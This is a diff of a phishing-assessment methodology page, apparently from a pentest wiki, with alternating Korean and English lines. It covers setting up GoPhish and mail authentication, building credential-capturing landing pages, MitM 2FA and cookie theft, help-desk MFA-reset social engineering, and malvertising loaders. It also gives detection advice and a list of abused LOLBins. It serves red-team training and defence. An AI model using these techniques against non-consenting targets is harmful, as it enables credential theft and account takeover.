here](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\ -또한, 사용자가 **메일 접근을 위해 어떤 웹 포털을 사용하는 경우**, 해당 포털이 **username brute force**에 취약한지 확인하고 가능하다면 해당 취약점을 이용하세요. +Moreover, don't forget that if the users use **any web portal to access their mails**, you can check if it's vulnerable to **username brute force**, and exploit the vulnerability if possible. ## Configuring GoPhish -### 설치 +### Installation You can download it from [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0) Download and decompress it inside `/opt/gophish` and execute `/opt/gophish/gophish`\ -출력에서 포트 3333의 admin 사용자 비밀번호가 제공됩니다. 따라서 해당 포트에 접속하여 해당 자격증명을 사용해 admin 비밀번호를 변경하세요. 로컬로 포트를 터널링해야 할 수 있습니다: +You will be given a password for the admin user in port 3333 in the output. Therefore, access that port and use those credentials to change the admin password. You may need to tunnel that port to local: ```bash ssh -L 3333:127.0.0.1:3333 @ ``` @@ -96,7 +96,7 @@ ssh -L 3333:127.0.0.1:3333 @ **TLS 인증서 구성** -이 단계에 앞서 사용하려는 **도메인을 이미 구매했어야** 하며, 해당 도메인은 **gophish**를 구성하는 **VPS의 IP**를 **가리키고** 있어야 합니다. +이 단계 이전에 사용하려는 **이미 구매한 도메인**이 있어야 하며, 그것은 **gophish**를 구성하는 **VPS의 IP**를 **가리키고 있어야** 합니다. ```bash DOMAIN="" wget https://dl.eff.org/certbot-auto @@ -114,7 +114,7 @@ cp "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" /opt/gophish/ssl_keys/key.crt ``` **메일 설정** -설치를 시작합니다: `apt-get install postfix` +설치 시작: `apt-get install postfix` 그런 다음 도메인을 다음 파일들에 추가하세요: @@ -122,14 +122,14 @@ cp "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" /opt/gophish/ssl_keys/key.crt - **/etc/postfix/transport** - **/etc/postfix/virtual_regexp** -**/etc/postfix/main.cf** 내부의 다음 변수 값들도 변경하세요 +**다음 변수들의 값을 /etc/postfix/main.cf 내부에서 변경하세요** `myhostname = `\ `mydestination = $myhostname, , localhost.com, localhost` 마지막으로 **`/etc/hostname`** 및 **`/etc/mailname`** 파일을 도메인 이름으로 수정하고 **VPS를 재시작하세요.** -이제 VPS의 **ip 주소**를 가리키도록 `mail.`의 **DNS A record**를 생성하고, `mail.`을 가리키는 **DNS MX** 레코드를 추가하세요. +이제 `mail.`가 VPS의 **ip address**를 가리키도록 **DNS A record**를 생성하고, `mail.`를 가리키는 **DNS MX** 레코드를 추가하세요. 이제 이메일 전송을 테스트해봅시다: ```bash @@ -138,8 +138,8 @@ echo "This is the body of the email" | mail -s "This is the subject line" test@e ``` **Gophish 설정** -gophish의 실행을 중지하고 설정을 구성합니다.\ -다음과 같이 `/opt/gophish/config.json`을 수정하세요 (https 사용에 유의): +gophish의 실행을 중지하고 설정을 진행합니다.\ +Modify `/opt/gophish/config.json`을 다음과 같이 수정하세요 (https 사용에 유의): ```bash { "admin_server": { @@ -166,7 +166,7 @@ gophish의 실행을 중지하고 설정을 구성합니다.\ ``` **gophish 서비스 구성** -gophish 서비스를 자동으로 시작하고 서비스로서 관리할 수 있도록, 다음 내용으로 파일 `/etc/init.d/gophish` 를 생성하십시오: +gophish 서비스를 자동으로 시작하고 서비스로 관리할 수 있도록, 다음 내용을 가진 파일 `/etc/init.d/gophish`를 생성할 수 있습니다: ```bash #!/bin/bash # /etc/init.d/gophish @@ -213,7 +213,7 @@ case $1 in start|stop|status) "$1" ;; esac ``` -서비스 구성을 완료하고 다음을 확인하세요: +서비스 구성 완료 후 정상 작동 여부를 확인하세요: ```bash mkdir /var/log/gophish chmod +x /etc/init.d/gophish @@ -226,58 +226,56 @@ service gophish stop ``` ## 메일 서버 및 도메인 구성 -### 기다리기 & 정상적으로 보이기 +### 기다리기 & 신뢰성 확보 -도메인이 오래될수록 스팸으로 분류될 확률이 낮아집니다. 따라서 phishing 평가 전에 가능한 오래(최소 1주일) 기다려야 합니다. 또한 평판 관련 섹터에 대한 페이지를 두면 얻는 평판이 더 좋아집니다. +도메인이 오래될수록 스팸으로 간주될 가능성이 낮아집니다. 따라서 phishing assessment를 시작하기 전에 가능한 한 오래(최소 1주일) 기다려야 합니다. 또한 평판 관련 섹터에 대한 페이지를 올리면 얻는 평판이 더 좋아집니다. -참고: 일주일을 기다려야 하더라도 지금 모든 설정을 완료할 수 있습니다. +일주일을 기다려야 하더라도 지금 모든 구성을 완료할 수 있다는 점을 기억하세요. -### Reverse DNS (rDNS) 레코드 구성 +### Configure Reverse DNS (rDNS) record -VPS의 IP 주소가 도메인 이름으로 역방향 해석되도록 rDNS (PTR) 레코드를 설정하세요. +VPS의 IP 주소를 도메인 이름으로 해석하도록 rDNS (PTR) 레코드를 설정하세요. -### Sender Policy Framework (SPF) 레코드 +### Sender Policy Framework (SPF) Record -새 도메인에 대해 **SPF 레코드를 구성해야 합니다**. SPF 레코드가 무엇인지 모르면 [**이 페이지를 읽어보세요**](../../network-services-pentesting/pentesting-smtp/index.html#spf). +새 도메인에 대해 **SPF 레코드를 구성해야 합니다**. SPF 레코드가 무엇인지 모른다면 [**이 페이지를 읽으세요**](../../network-services-pentesting/pentesting-smtp/index.html#spf). -SPF 정책을 생성하려면 [https://www.spfwizard.net/](https://www.spfwizard.net)를 사용할 수 있습니다 (VPS 머신의 IP를 사용하세요) +SPF 정책을 생성하려면 [https://www.spfwizard.net/](https://www.spfwizard.net)을(를) 사용하세요 (VPS 머신의 IP를 사용). ![](<../../images/image (1037).png>) -다음은 도메인 내 TXT 레코드에 설정해야 하는 내용입니다: +다음은 도메인의 TXT 레코드에 설정해야 하는 내용입니다: ```bash v=spf1 mx a ip4:ip.ip.ip.ip ?all ``` -### 도메인 기반 메시지 인증, 리포팅 및 준수 (DMARC) 레코드 +### 도메인 기반 메시지 인증, 보고 및 준수 (DMARC) 레코드 -새 도메인에 대해 **DMARC 레코드를 구성해야 합니다**. DMARC 레코드가 무엇인지 모르면 [**read this page**](../../network-services-pentesting/pentesting-smtp/index.html#dmarc). +새 도메인에 대해 **DMARC 레코드를 구성해야 합니다**. DMARC 레코드가 무엇인지 모르면 [**이 페이지를 읽으세요**](../../network-services-pentesting/pentesting-smtp/index.html#dmarc). -다음 내용을 사용하여 호스트 이름 `_dmarc.`을 가리키는 새 DNS TXT 레코드를 생성해야 합니다: +호스트명 `_dmarc.`를 가리키도록 하는 새 DNS TXT 레코드를 다음 내용으로 생성해야 합니다: ```bash v=DMARC1; p=none ``` -### DomainKeys Identified Mail (DKIM) +### 도메인키 식별 메일 (DKIM) -You must **configure a DKIM for the new domain**. If you don't know what is a DMARC record [**read this page**](../../network-services-pentesting/pentesting-smtp/index.html#dkim). +새 도메인에 대해 **DKIM을 구성해야 합니다**. DMARC 레코드가 무엇인지 모르면 [**이 페이지를 읽으세요**](../../network-services-pentesting/pentesting-smtp/index.html#dkim). This tutorial is based on: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy) > [!TIP] -> DKIM 키가 생성하는 두 B64 값을 연결해야 합니다: +> DKIM 키가 생성하는 두 개의 B64 값을 연결해야 합니다: > > ``` > v=DKIM1; h=sha256; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0wPibdqPtzYk81njjQCrChIcHzxOp8a1wjbsoNtka2X9QXCZs+iXkvw++QsWDtdYu3q0Ofnr0Yd/TmG/Y2bBGoEgeE+YTUG2aEgw8Xx42NLJq2D1pB2lRQPW4IxefROnXu5HfKSm7dyzML1gZ1U0pR5X4IZCH0wOPhIq326QjxJZm79E1nTh3xj" "Y9N/Dt3+fVnIbMupzXE216TdFuifKM6Tl6O/axNsbswMS1TH812euno8xRpsdXJzFlB9q3VbMkVWig4P538mHolGzudEBg563vv66U8D7uuzGYxYT4WS8NVm3QBMg0QKPWZaKp+bADLkOSB9J2nUpk4Aj9KB5swIDAQAB > ``` -### Test your email configuration score +### 이메일 구성 점수 테스트 -You can do that using [https://www.mail-tester.com/](https://www.mail-tester.com)\ -페이지에 접속해 그들이 제공하는 주소로 이메일을 보내면 됩니다: +이를 위해 [https://www.mail-tester.com/](https://www.mail-tester.com/)\ 페이지에 접속해 그들이 제공하는 주소로 이메일을 보내세요: ```bash echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com ``` -또한 `check-auth@verifier.port25.com`으로 이메일을 보내 **이메일 구성을 확인**하고 응답을 **읽을 수 있습니다** (이를 위해서는 port **25**를 **열어야** 하며, 이메일을 root로 보낼 경우 파일 _/var/mail/root_에서 응답을 확인해야 합니다).\\ -모든 테스트를 통과했는지 확인하세요: +또한 `check-auth@verifier.port25.com`으로 이메일을 보내 **이메일 설정을 확인**하고 **응답을 읽어보세요** (이를 위해서는 **open** port **25**가 필요하며, 루트로 이메일을 보낸 경우 파일 _/var/mail/root_에서 응답을 확인해야 합니다).\\ 모든 테스트를 통과했는지 확인하세요: ```bash ========================================================== Summary of Results @@ -288,40 +286,40 @@ DKIM check: pass Sender-ID check: pass SpamAssassin check: ham ``` -**당신이 제어하는 Gmail로 메시지를 보내고**, 받은편지함에서 **이메일 헤더**를 확인하세요. `Authentication-Results` 헤더 필드에 `dkim=pass`가 있어야 합니다. +또한 **자신이 제어하는 Gmail로 메시지를 보내고**, Gmail 받은편지함에서 **이메일 헤더**를 확인하세요. `Authentication-Results` 헤더 필드에 `dkim=pass`가 있어야 합니다. ``` Authentication-Results: mx.google.com; spf=pass (google.com: domain of contact@example.com designates --- as permitted sender) smtp.mail=contact@example.com; dkim=pass header.i=@example.com; ``` -### ​Spamhouse 블랙리스트에서 제거 +### ​Removing from Spamhouse Blacklist -The page [www.mail-tester.com](https://www.mail-tester.com) can indicate you if you your domain is being blocked by spamhouse. You can request your domain/IP to be removed at: ​[https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/) +페이지 [www.mail-tester.com](https://www.mail-tester.com)에서 도메인이 spamhouse에 의해 차단되고 있는지 확인할 수 있습니다. 도메인/IP 제거를 요청하려면: ​[https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/) -### Microsoft 블랙리스트에서 제거 +### Removing from Microsoft Blacklist -​​You can request your domain/IP to be removed at [https://sender.office.com/](https://sender.office.com). +​​도메인/IP 제거 요청은 [https://sender.office.com/](https://sender.office.com)에서 할 수 있습니다. -## GoPhish 캠페인 생성 및 실행 +## Create & Launch GoPhish Campaign -### 발송 프로필 +### Sending Profile -- 송신 프로필을 식별할 수 있는 **이름**을 설정하세요 -- 피싱 이메일을 보낼 계정을 선택하세요. 제안: _noreply, support, servicedesk, salesforce..._ -- 사용자 이름과 비밀번호는 비워둘 수 있지만, **Ignore Certificate Errors**를 체크했는지 확인하세요 +- 발신자 프로필을 식별할 **이름을 지정**하세요 +- 어떤 계정에서 phishing 이메일을 보낼지 결정하세요. 예시: _noreply, support, servicedesk, salesforce..._ +- username과 password를 비워 둘 수 있지만, 반드시 Ignore Certificate Errors를 체크하세요 ![](<../../images/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>) > [!TIP] -> 작동 여부를 확인하기 위해 "**Send Test Email**" 기능을 사용하는 것을 권장합니다.\ -> 테스트 중 블랙리스트에 오르는 것을 피하기 위해 **send the test emails to 10min mails addresses**로 테스트 이메일을 보내는 것을 권합니다. +> 모든 설정이 제대로 작동하는지 확인하려면 **Send Test Email** 기능을 사용하는 것이 권장됩니다.\ +> 테스트 중 블랙리스트에 오르는 것을 피하기 위해 **send the test emails to 10min mails addresses**를 권장합니다. -### 이메일 템플릿 +### Email Template -- 템플릿을 식별할 수 있는 **이름**을 설정하세요 -- 그런 다음 **subject**를 작성하세요 (낯설지 않은, 일반 이메일에서 볼 법한 제목) -- "**Add Tracking Image**"가 체크되어 있는지 확인하세요 -- **이메일 템플릿**을 작성하세요 (다음 예처럼 변수를 사용할 수 있습니다): +- 템플릿을 식별할 **이름을 지정**하세요 +- 그런 다음 **subject**를 작성하세요 (너무 이상하지 않고 평범한 이메일에서 볼 법한 제목) +- 반드시 **Add Tracking Image**를 체크했는지 확인하세요 +- **email template**을 작성하세요 (다음 예시처럼 변수를 사용할 수 있습니다): ```html @@ -340,56 +338,56 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY ``` -참고: **이메일의 신뢰도를 높이기 위해**, 클라이언트 이메일에 있는 서명 일부를 사용하는 것이 권장됩니다. 제안: +Note that **in order to increase the credibility of the email**, it's recommended to use some signature from an email from the client. Suggestions: -- **존재하지 않는 주소**로 이메일을 보내 응답에 서명이 있는지 확인하세요. -- info@ex.com, press@ex.com, public@ex.com 같은 **공용 이메일**을 찾아 이메일을 보내고 응답을 기다리세요. -- 발견된 **유효한 이메일**에 연락해 응답을 기다려보세요. +- Send an email to a **non existent address** and check if the response has any signature. +- Search for **public emails** like info@ex.com or press@ex.com or public@ex.com and send them an email and wait for the response. +- Try to contact **some valid discovered** email and wait for the response ![](<../../images/image (80).png>) > [!TIP] -> Email Template에서는 **첨부 파일을 함께 보낼 수 있습니다**. 또한 특수하게 제작한 파일/문서로 NTLM challenge를 탈취하려면 이 페이지를 [읽어보세요](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md). +> The Email Template also allows to **attach files to send**. If you would also like to steal NTLM challenges using some specially crafted files/documents [read this page](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md). ### Landing Page -- **이름**을 작성하세요 -- 웹 페이지의 **HTML 코드를 작성하세요**. 웹 페이지를 **import**할 수 있습니다. -- **Capture Submitted Data** 및 **Capture Passwords**를 선택하세요 -- **리디렉션**을 설정하세요 +- Write a **name** +- **Write the HTML code** of the web page. Note that you can **import** web pages. +- Mark **Capture Submitted Data** and **Capture Passwords** +- Set a **redirection** ![](<../../images/image (826).png>) > [!TIP] -> 보통 HTML 코드를 수정하고 로컬(Apache 같은 서버 사용)에서 여러 번 테스트한 뒤 **원하는 결과가 나올 때까지** 조정합니다. 그런 다음 그 HTML 코드를 박스에 붙여넣으세요.\ -> HTML에 사용할 정적 리소스(예: CSS, JS)가 필요하면 _**/opt/gophish/static/endpoint**_에 저장한 뒤 _**/static/\**_에서 접근할 수 있습니다. +> Usually you will need to modify the HTML code of the page and make some tests in local (maybe using some Apache server) **until you like the results.** Then, write that HTML code in the box.\ +> Note that if you need to **use some static resources** for the HTML (maybe some CSS and JS pages) you can save them in _**/opt/gophish/static/endpoint**_ and then access them from _**/static/\**_ > [!TIP] -> 리디렉션의 경우 사용자를 피해자의 실제 메인 웹 페이지로 **리디렉트**하거나 예를 들어 _/static/migration.html_로 리디렉트하고, 5초간 **스피닝 휠**([https://loading.io/](https://loading.io/))을 보여준 뒤 프로세스가 성공했다고 표시할 수 있습니다. +> For the redirection you could **redirect the users to the legit main web page** of the victim, or redirect them to _/static/migration.html_ for example, put some **spinning wheel (**[**https://loading.io/**](https://loading.io)**) for 5 seconds and then indicate that the process was successful**. ### Users & Groups -- 이름을 설정하세요 -- 데이터를 **import**하세요 (템플릿을 사용하려면 예제에 대해 각 사용자별 firstname, last name, email address가 필요합니다) +- Set a name +- **Import the data** (note that in order to use the template for the example you need the firstname, last name and email address of each user) ![](<../../images/image (163).png>) ### Campaign -마지막으로 캠페인을 생성할 때 이름, email template, landing page, URL, sending profile 및 그룹을 선택하세요. URL은 피해자에게 전송될 링크가 됩니다. +Finally, create a campaign selecting a name, the email template, the landing page, the URL, the sending profile and the group. Note that the URL will be the link sent to the victims -참고: **Sending Profile은 최종 phishing 이메일이 어떻게 보일지 확인하기 위해 테스트 이메일을 보낼 수 있게 합니다**: +Note that the **Sending Profile allow to send a test email to see how will the final phishing email looks like**: ![](<../../images/image (192).png>) > [!TIP] -> 테스트를 할 때 블랙리스트에 오르는 것을 피하기 위해 테스트 이메일은 **10min mails 주소**로 보내는 것을 권장합니다. +> I would recommend to **send the test emails to 10min mails addresses** in order to avoid getting blacklisted making tests. -모든 준비가 끝나면 캠페인을 시작하세요! +Once everything is ready, just launch the campaign! ## Website Cloning -어떤 이유로 웹사이트를 클론(clone)하고 싶다면 다음 페이지를 확인하세요: +If for any reason you want to clone the website check the following page: {{#ref}} @@ -398,7 +396,8 @@ clone-a-website.md ## Backdoored Documents & Files -일부 phishing 평가(주로 Red Teams)에서는 **백도어가 포함된 파일**(예: C2 또는 인증을 유발하는 파일)을 전송해야 할 때가 있습니다. 예시를 보려면 다음 페이지를 확인하세요: +In some phishing assessments (mainly for Red Teams) you will want to also **send files containing some kind of backdoor** (maybe a C2 or maybe just something that will trigger an authentication).\ +Check out the following page for some examples: {{#ref}} @@ -409,51 +408,53 @@ phishing-documents.md ### Via Proxy MitM -이전 공격은 실제 웹사이트를 가장해 사용자가 설정한 정보를 수집하기 때문에 꽤 교묘합니다. 불행히도 사용자가 올바른 비밀번호를 입력하지 않았거나 당신이 가장한 애플리케이션이 2FA로 설정되어 있다면, **이 정보만으로는 속은 사용자를 가장할 수 없습니다**. +The previous attack is pretty clever as you are faking a real website and gathering the information set by the user. Unfortunately, if the user didn't put the correct password or if the application you faked is configured with 2FA, **this information won't allow you to impersonate the tricked user**. -여기서 [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) 및 [**muraena**](https://github.com/muraenateam/muraena)와 같은 도구가 유용합니다. 이 도구들은 MitM 형태의 공격을 가능하게 합니다. 기본 동작은 다음과 같습니다: +This is where tools like [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) and [**muraena**](https://github.com/muraenateam/muraena) are useful. This tool will allow you to generate a MitM like attack. Basically, the attacks works in the following way: -1. 실제 웹페이지의 로그인 폼을 **가로챕니다**. -2. 사용자가 가짜 페이지에 **자격증명**을 전송하면 해당 도구가 이를 실제 웹페이지로 전달하고 **자격증명이 유효한지 확인**합니다. -3. 계정이 **2FA**로 설정되어 있으면 MitM 페이지가 이를 요구하고, 사용자가 입력하면 도구가 이를 실제 웹페이지로 전송합니다. -4. 사용자가 인증되면 공격자는 MitM 동안 도구가 수행하는 모든 상호작용에서 **credentials, 2FA, cookie 및 기타 정보를 캡처**하게 됩니다. +1. You **impersonate the login** form of the real webpage. +2. The user **send** his **credentials** to your fake page and the tool send those to the real webpage, **checking if the credentials work**. +3. If the account is configured with **2FA**, the MitM page will ask for it and once the **user introduces** it the tool will send it to the real web page. +4. Once the user is authenticated you (as attacker) will have **captured the credentials, the 2FA, the cookie and any information** of every interaction your while the tool is performing a MitM. ### Via VNC -정상 사이트와 동일한 모양의 악성 페이지로 사용자를 보내는 대신, 브라우저가 실제 웹페이지에 접속된 VNC 세션으로 사용자를 보낸다면 어떻게 될까요? 사용자가 무엇을 하는지 실시간으로 보고 비밀번호, MFA, 쿠키 등을 탈취할 수 있습니다. 이를 위해 [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC)를 사용할 수 있습니다. +What if instead of **sending the victim to a malicious page** with the same looks as the original one, you send him to a **VNC session with a browser connected to the real web page**? You will be able to see what he does, steal the password, the MFA used, the cookies...\ +You can do this with [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC) ## Detecting the detection -가장 명확한 방법 중 하나는 자신의 도메인을 블랙리스트에서 **검색하는 것**입니다. 만약 목록에 올라가 있다면 어떤 식으로든 당신의 도메인이 의심스럽다고 탐지된 것입니다. 도메인이 블랙리스트에 올라갔는지 확인하는 쉬운 방법 중 하나는 [https://malwareworld.com/](https://malwareworld.com)을 사용하는 것입니다. +Obviously one of the best ways to know if you have been busted is to **search your domain inside blacklists**. If it appears listed, somehow your domain was detected as suspicions.\ +One easy way to check if you domain appears in any blacklist is to use [https://malwareworld.com/](https://malwareworld.com) -하지만, 피해자가 **활동적으로 의심스러운 phishing 활동을 찾고 있는지**를 알아내는 다른 방법들도 있습니다. 자세한 내용은 다음을 확인하세요: +However, there are other ways to know if the victim is **actively looking for suspicions phishing activity in the wild** as explained in: {{#ref}} detecting-phising.md {{#endref}} -피해자의 도메인과 매우 비슷한 이름의 도메인을 구매하거나, 여러분이 제어하는 도메인의 **서브도메인**에 대해 피해자 도메인의 **키워드**를 포함한 인증서를 **발급**받을 수 있습니다. 피해자가 해당 도메인들과 어떤 종류의 **DNS나 HTTP 상호작용**을 한다면, 그가 **활동적으로 의심스러운 도메인을 탐색하고 있다**는 사실을 알 수 있고 매우 은밀하게 행동해야 합니다. +You can **buy a domain with a very similar name** to the victims domain **and/or generate a certificate** for a **subdomain** of a domain controlled by you **containing** the **keyword** of the victim's domain. If the **victim** perform any kind of **DNS or HTTP interaction** with them, you will know that **he is actively looking** for suspicious domains and you will need to be very stealth. ### Evaluate the phishing -이메일이 스팸 폴더에 들어갈지, 차단될지 또는 성공할지 평가하려면 [**Phishious**](https://github.com/Rices/Phishious)를 사용하세요. +Use [**Phishious** ](https://github.com/Rices/Phishious)to evaluate if your email is going to end in the spam folder or if it's going to be blocked or successful. ## High-Touch Identity Compromise (Help-Desk MFA Reset) -최근 침입 집단은 이메일 유혹을 완전히 건너뛰고 **서비스 데스크/identity-recovery 워크플로우를 직접 공격**하여 MFA를 무력화하는 경우가 늘고 있습니다. 이 공격은 완전히 "living-off-the-land" 방식으로 진행됩니다: 운영자가 유효한 자격증명을 확보하면 내장 관리자 도구로 피벗하며 – 악성코드가 필요 없습니다. +Modern intrusion sets increasingly skip email lures entirely and **directly target the service-desk / identity-recovery workflow** to defeat MFA. The attack is fully "living-off-the-land": once the operator owns valid credentials they pivot with built-in admin tooling – no malware is required. ### Attack flow -1. 대상 정보 수집 - * LinkedIn, 데이터 유출, 공개 GitHub 등에서 개인 및 회사 정보를 수집합니다. - * 고가치 식별자(임원, IT, 재무)를 파악하고 비밀번호/MFA 재설정에 대한 **정확한 help-desk 절차**를 열거합니다. -2. 실시간 소셜 엔지니어링 - * 대상자를 가장하여 전화, Teams 또는 채팅으로 help-desk에 연락합니다(종종 **spoofed caller-ID** 또는 **cloned voice** 사용). - * 사전에 수집한 PII를 제공하여 지식 기반 인증을 통과합니다. - * 상담원에게 **MFA 시크릿을 리셋**하거나 등록된 휴대전화 번호에 대해 **SIM-swap**을 수행하도록 설득합니다. -3. 즉시 후속 액션 (실제 사례에서 ≤60 min) - * 웹 SSO 포털을 통해 발판을 마련합니다. - * 내장 도구로 AD / AzureAD를 열거합니다(바이너리 설치 없음): +1. Recon the victim +* Harvest personal & corporate details from LinkedIn, data breaches, public GitHub, etc. +* Identify high-value identities (executives, IT, finance) and enumerate the **exact help-desk process** for password / MFA reset. +2. Real-time social engineering +* Phone, Teams or chat the help-desk while impersonating the target (often with **spoofed caller-ID** or **cloned voice**). +* Provide the previously-collected PII to pass knowledge-based verification. +* Convince the agent to **reset the MFA secret** or perform a **SIM-swap** on a registered mobile number. +3. Immediate post-access actions (≤60 min in real cases) +* Establish a foothold through any web SSO portal. +* Enumerate AD / AzureAD with built-ins (no binaries dropped): ```powershell # list directory groups & privileged roles Get-ADGroup -Filter * -Properties Members | ?{$_.Members -match $env:USERNAME} @@ -464,45 +465,45 @@ Get-MgDirectoryRole | ft DisplayName,Id # Enumerate devices the account can login to Get-MgUserRegisteredDevice -UserId ``` - * 이미 환경에서 허용된 정당한 **RMM** 에이전트나 **WMI**, **PsExec** 등을 이용한 횡적 이동 수행. +* Lateral movement with **WMI**, **PsExec**, or legitimate **RMM** agents already whitelisted in the environment. ### Detection & Mitigation -* help-desk identity recovery를 **권한이 필요한 작업(privileged operation)**으로 취급하세요 — step-up 인증 및 관리자 승인 요구. -* **Identity Threat Detection & Response (ITDR)** / **UEBA** 규칙을 배치하여 다음을 탐지하도록 알림 설정: - * MFA 방법 변경 + 새로운 디바이스/지오에서의 인증 - * 동일 주체의 즉각적인 권한 상승(user → admin) -* 도움 데스크 통화를 녹음하고 어떤 리셋 작업 전에 **이미 등록된 번호로 콜백을 수행**하도록 강제하세요. -* 새로 리셋된 계정이 자동으로 고권한 토큰을 상속받지 않도록 **Just-In-Time (JIT) / Privileged Access**를 구현하세요. +* Treat help-desk identity recovery as a **privileged operation** – require step-up auth & manager approval. +* Deploy **Identity Threat Detection & Response (ITDR)** / **UEBA** rules that alert on: +* MFA method changed + authentication from new device / geo. +* Immediate elevation of the same principal (user-→-admin). +* Record help-desk calls and enforce a **call-back to an already-registered number** before any reset. +* Implement **Just-In-Time (JIT) / Privileged Access** so newly reset accounts do **not** automatically inherit high-privilege tokens. --- ## At-Scale Deception – SEO Poisoning & “ClickFix” Campaigns -일부 그룹은 고수준 작업의 비용을 보상하기 위해 대량 공격을 수행하여 **검색엔진 및 광고 네트워크를 배포 채널로 전환**합니다. +Commodity crews offset the cost of high-touch ops with mass attacks that turn **search engines & ad networks into the delivery channel**. -1. **SEO poisoning / malvertising**는 `chromium-update[.]site`와 같은 가짜 결과를 검색 광고 상단에 올립니다. -2. 피해자는 작은 **1단계 로더**(종종 JS/HTA/ISO)를 다운로드합니다. Unit 42가 관찰한 예: - * `RedLine stealer` - * `Lumma stealer` - * `Lampion Trojan` -3. 로더는 브라우저 쿠키 및 자격증명 DB를 탈취한 뒤 **무음 로더**를 내려받아 실시간으로 다음을 결정합니다: - * RAT (예: AsyncRAT, RustDesk) - * 랜섬웨어 / 와이퍼 - * 영구화 컴포넌트(레지스트리 Run 키 + scheduled task) +1. **SEO poisoning / malvertising** pushes a fake result such as `chromium-update[.]site` to the top search ads. +2. Victim downloads a small **first-stage loader** (often JS/HTA/ISO). Examples seen by Unit 42: +* `RedLine stealer` +* `Lumma stealer` +* `Lampion Trojan` +3. Loader exfiltrates browser cookies + credential DBs, then pulls a **silent loader** which decides – *in realtime* – whether to deploy: +* RAT (e.g. AsyncRAT, RustDesk) +* ransomware / wiper +* persistence component (registry Run key + scheduled task) ### Hardening tips -* 새로 등록된 도메인을 차단하고 검색 광고뿐 아니라 이메일에 대해서도 **고급 DNS / URL 필터링**을 적용하세요. -* 소프트웨어 설치를 서명된 MSI / Store 패키지로 제한하고, 정책으로 `HTA`, `ISO`, `VBS` 실행을 차단하세요. -* 브라우저의 자식 프로세스가 설치 프로그램을 여는지를 모니터링하세요: +* Block newly-registered domains & enforce **Advanced DNS / URL Filtering** on *search-ads* as well as e-mail. +* Restrict software installation to signed MSI / Store packages, deny `HTA`, `ISO`, `VBS` execution by policy. +* Monitor for child processes of browsers opening installers: ```yaml - parent_image: /Program Files/Google/Chrome/* and child_image: *\\*.exe ``` -* 1단계 로더가 자주 악용하는 LOLBins(예: `regsvr32`, `curl`, `mshta`)를 헌팅하세요. +* Hunt for LOLBins frequently abused by first-stage loaders (e.g. `regsvr32`, `curl`, `mshta`). --- ## AI-Enhanced Phishing Operations -공격자들은 이제 **LLM & voice-clone API**를 연결해 완전 개인화된 유인책과 실시간 상호작용을 구현합니다. +Attackers now chain **LLM & voice-clone APIs** for fully personalised lures and real-time interaction. | Layer | Example use by threat actor | |-------|-----------------------------| @@ -511,9 +512,9 @@ and child_image: *\\*.exe |Agentic AI|Autonomously register domains, scrape open-source intel, craft next-stage mails when a victim clicks but doesn’t submit creds.| **Defence:** -• ARC/DKIM 이상 징후(비신뢰 자동화로부터 전송된 메시지를 강조하는) **다이나믹 배너**를 추가하세요. -• 고위험 전화 요청에 대해 **음성 생체 인증용 챌린지 문구**를 배포하세요. -• 정적 템플릿은 구식이므로 인식 프로그램에서 AI 생성 유인책을 지속적으로 시뮬레이션하세요. +• Add **dynamic banners** highlighting messages sent from untrusted automation (via ARC/DKIM anomalies). +• Deploy **voice-biometric challenge phrases** for high-risk phone requests. +• Continuously simulate AI-generated lures in awareness programmes – static templates are obsolete. See also – agentic browsing abuse for credential phishing: @@ -524,20 +525,17 @@ ai-agent-mode-phishing-abusing-hosted-agent-browsers.md --- ## MFA Fatigue / Push Bombing Variant – Forced Reset -클래식한 push-bombing 외에, 운영자는 단순히 help-desk 통화 중에 **새 MFA 등록을 강제**하여 사용자의 기존 토큰을 무효화합니다. 이후 나타나는 로그인 프롬프트는 피해자에게 합법적으로 보입니다. +Besides classic push-bombing, operators simply **force a new MFA registration** during the help-desk call, nullifying the user’s existing token. Any subsequent login prompt appears legitimate to the victim. ```text [Attacker] → Help-Desk: “I lost my phone while travelling, can you unenrol it so I can add a new authenticator?” [Help-Desk] → AzureAD: ‘Delete existing methods’ → sends registration e-mail [Attacker] → Completes new TOTP enrolment on their own device ``` -AzureAD/AWS/Okta 이벤트에서 **`deleteMFA` + `addMFA`**가 **같은 IP에서 몇 분 내에** 발생하는지 모니터링하세요. - - +Monitor for AzureAD/AWS/Okta events where **`deleteMFA` + `addMFA`** occur **within minutes from the same IP**. ## Clipboard Hijacking / Pastejacking -공격자는 손상되었거나 typosquatted된 웹 페이지에서 피해자의 클립보드로 악성 명령을 몰래 복사한 다음, 사용자를 속여 **Win + R**, **Win + X** 또는 terminal 창에 붙여넣게 하여 다운로드나 첨부파일 없이 임의의 코드를 실행할 수 있습니다. - +공격자는 침해되었거나 typosquatted된 웹 페이지에서 피해자의 클립보드로 악성 명령을 조용히 복사한 다음, 사용자에게 Win + R, Win + X 또는 터미널 창에 붙여넣도록 속여 다운로드나 첨부파일 없이 임의의 코드를 실행시킬 수 있습니다. {{#ref}} clipboard-hijacking.md @@ -550,6 +548,33 @@ clipboard-hijacking.md mobile-phishing-malicious-apps.md 